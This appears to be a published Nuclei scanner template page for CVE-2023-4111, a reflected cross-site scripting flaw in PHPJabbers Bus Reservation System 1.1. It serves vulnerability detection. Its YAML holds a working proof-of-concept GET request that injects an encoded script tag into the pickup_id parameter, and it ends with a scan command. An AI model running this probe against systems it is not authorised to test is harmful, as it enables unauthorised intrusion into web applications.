PHPJabbers Bus Reservation System 1.1 - Cross-Site Scripting

ID: CVE-2023-4111

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,packetstorm,xss,phpjabber,jabber,phpjabbers

Description

A vulnerability was found in PHP Jabbers Bus Reservation System 1.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument index/pickup_id leads to cross site scripting. The attack may be launched remotely.

YAML Source

id: CVE-2023-4111

info:
  name: PHPJabbers Bus Reservation System 1.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in PHP Jabbers Bus Reservation System 1.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument index/pickup_id leads to cross site scripting. The attack may be launched remotely.
  reference:
    - https://vuldb.com/?id.235958
    - https://packetstormsecurity.com/files/173927/PHPJabbers-Bus-Reservation-System-1.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4111
    - https://vuldb.com/?ctiid.235958
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4111
    cwe-id: CWE-79
    epss-score: 0.00235
    epss-percentile: 0.61597
    cpe: cpe:2.3:a:phpjabbers:bus_reservation_system:1.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: bus_reservation_system
  tags: cve2023,cve,packetstorm,xss,phpjabber,jabber,phpjabbers

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=4005&pickup_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt=&end_dt=&locale=&index=0&session_id="

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "You have an error in your SQL syntax", "><script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100c0df943e2c0baaa95b3672de81383e0cce2c6692ef701a22acd736d4a7611f6c022100ba373aa6d44c4355e195067ac7eb1804592e937a9a8c1e173fb0686897d78dad:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4111.yaml"

View on Github